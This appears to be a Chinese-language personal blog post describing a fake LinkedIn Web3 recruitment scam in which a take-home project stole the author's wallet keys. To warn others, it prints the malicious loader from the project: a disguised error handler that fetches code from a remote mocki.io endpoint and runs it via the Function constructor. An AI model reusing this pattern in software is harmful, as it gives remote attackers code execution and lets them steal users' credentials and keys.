← Back to list

LinkedIn 找工作私鑰被偷了,幹

先說,資產沒事,因為我平時有把開發的地址跟實際交易使用的地址分開,對方雖然拿到我的私鑰,但裡面只有一堆測試幣。

June · 2025-12-06 17:16 · 10 claps · 6.2 min read
#hacked #linkedin #web3 #crypto
Open on Medium ↗
Wiki topics: CRY · Crypto & Web3

LinkedIn 找工作私鑰被偷了,幹

先說,資產沒事,因為我平時有把開發的地址跟實際交易使用的地址分開,對方雖然拿到我的私鑰,但裡面只有一堆測試幣。

事件始於我最近開始經營 LinkedIn,然後收到一則私訊:

除了他以外,我還收到太多看起來就像詐騙的訊息,有幾個共同點就是 Web3 新創、沒有 JD、而且很積極想招募你。

但因為對方的帳號是有打勾的、粉絲數不少,看起來有在經營,再加上他自稱是 “Seracle Labs” 的人,查了一下這間公司在 X 上面確實有個藍勾勾帳號。當時覺得可以試一下,如果對方提到要連結錢包再 block 他,沒想到還是太大意了。

這是對方寄給我的信:

裡面的連結在這裡 (更:已經被移除了),可以點進去研究,但不要下載下來,更不要去執行🙅

這封信 tricky 的地方在於,對方並沒有要求我去把程式碼下載並執行,他只是要我回答這五個問題。

但有點 sense 的軟體工程師應該知道,想要解第三題,勢必得要把程式碼在本地端跑起來,才能看前端畫面到底有什麼 bug。

嗯,對,至少我是這麼做的,然後我就中招了。

當我把程式跑起來以後,對方過幾分鐘就在 LinkedIn 上面告訴我,他們的內部工程師已經看完我的履歷,覺得我可以跳過這些題目,直接進入實體面試,然後很積極要跟我約時間。

但推測是因為它們已經成功取得我的私鑰了,然後發現裡面沒有有價值的代幣,所以想要做進一步攻擊。

總之我當下並沒有馬上反應過來,而是先休息了幾個小時。過程中剛好跟其他工程師聊到這場面試,對方告訴我這可能是個陷阱,於是我請 Claude Code 幫我檢查一下代碼庫有沒有什麼可疑的地方,結果馬上就發現問題。

這邊附上惡意代碼,它位於 src/auth/controllers/orderController.js

const errorHandler = (error) => {
  try {
    if (typeof error !== 'string') {
      console.error('Invalid error format. Expected a string.');
      return;
    }
    const createHandler = (errCode) => {
      try {
        const handler = new (Function.constructor)('require', errCode);
        return handler;
      } catch (e) {
        console.error('Failed:', e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error('Handler function is not available.');
    }
  } catch (globalError) {
    console.error('Unexpected error inside errorHandler:', globalError.message);
  }
};

// Get Logged In User Orders
exports.myOrders = asyncErrorHandler(async (req, res, next) => {
  const orders = await Order.find({ user: req.user._id });
  if (!orders) {
    return next(new ErrorHandler("Order Not Found", 404));
  }
  res.status(200).json({
    success: true,
    orders,
  });
});

exports.getCookie= asyncErrorHandler(async (req, res, next) => {
  axios.get(`https://api.mocki.io/v2/5lqh5wzt/tracks/errors/376890`)
  .then(res => errorHandler(res.data.cookie))
  .catch(

  );
})();

這段代碼是一個 RCE (Remote Code Execution) 攻擊,會發送 API 去遠端抓資料到本地端執行,而且不需要我特別賦予權限。

根據 Claude Code 回報的結果,在我休息的那段時間,我的電腦跟外部建立了很多可疑的連線,並且把本機所有 .env* file 都存取了一遍,裡面包含錢包私鑰跟一些 API key。

我去檢查了一下 Claude Code 提到的惡意連線,發現還真的有,所以大概率我的錢包私鑰也已經外流了。

當然,這只是 Claude Code 有發現的內容,不一定是全部。但我可以確定的是對方確實不懷好意。因為不知道電腦裡還被裝了什麼後門,只能重灌。

後續我也裝作不知道已經發現自己被駭了,繼續參與對方提到的面試,想看他們到底葫蘆裡在賣什麼藥,結果面試的時候對方還真的出現了,開了個 google meet,而且還有實體真人 (DeepFake?)

這個女生負責的是人資面試的部份,講話還挺有禮貌的,對我很有耐心,跟真實的面試區別不大,會關心我學習的經驗、對區塊鏈的想法等等。

然後第二關就是技術面試,要我登進去一個網站刷題,並且要開螢幕錄影確保我沒有使用 AI。其實是一個相當合理的要求,但礙於已經知道對方不懷好意,這一關我就沒有繼續下去。

被我拒絕並揭露以後對方似乎有點惱羞,開始批評我想要透過這種爛理由來彌補自己能力不足,後來就被他封鎖了,祝他屁股開花死全家。

總結一下,這次 RCE 攻擊之所以會成功,有很多地方還是我的疏失:

  1. 相信 LinkedIn 上面真的會有人主動希望我去工作。
  2. 沒有意識到他其實是間接要求我下載並執行代碼。
  3. 下載下來以後沒有先請 AI 幫我檢查一遍代碼。
  4. 跑代碼之前沒有使用沙盒隔離環境。

但我做對了一點:

  1. 真正擁有資產的錢包私鑰沒有放在 .env。

發現問題之後我除了重灌電腦,也把資產全部轉移到冷錢包,這陣子先避避風頭。

我發文之後發現身邊有人也中過招,大家找 Web3 工作真的要小心,希望不要再有人受害。

後記:

事發一個月後在社群媒體 (Threads, LinkedId) 上看到有其他人也中招,不過他的情況比我更嚴重 (被盜 2萬 u)

  • 我是下載下來並執行後才中招,他是打開 IDE 就中招了 (攻擊透過 .vscode/ 裡面的腳本執行,請參考 open-source malware)
  • 對方偷的東西不只是 .env 裡面的私鑰,而是直接取得瀏覽器裡面的密碼,然後盜用錢包 (具體是怎麼辦到的我也看得很矇)

類似攻擊手法在 2025 年初也有人分享:掉了一台進口車的故事 (被盜 4萬 u)

相較之下我遇到的駭客好像比較菜,還算是有點幸運了。


메타데이터
post_id
7c064c5c8f2d
slug
linkedin-找工作私鑰被偷了-幹-7c064c5c8f2d
url
https://medium.com/@df41022/linkedin-%E6%89%BE%E5%B7%A5%E4%BD%9C%E7%A7%81%E9%91%B0%E8%A2%AB%E5%81%B7%E4%BA%86-%E5%B9%B9-7c064c5c8f2d
canonical_url
https://medium.com/@df41022/linkedin-%E6%89%BE%E5%B7%A5%E4%BD%9C%E7%A7%81%E9%91%B0%E8%A2%AB%E5%81%B7%E4%BA%86-%E5%B9%B9-7c064c5c8f2d
author_url
https://medium.com/@df41022
status
ok
fetched_at
2026-07-14 11:36:08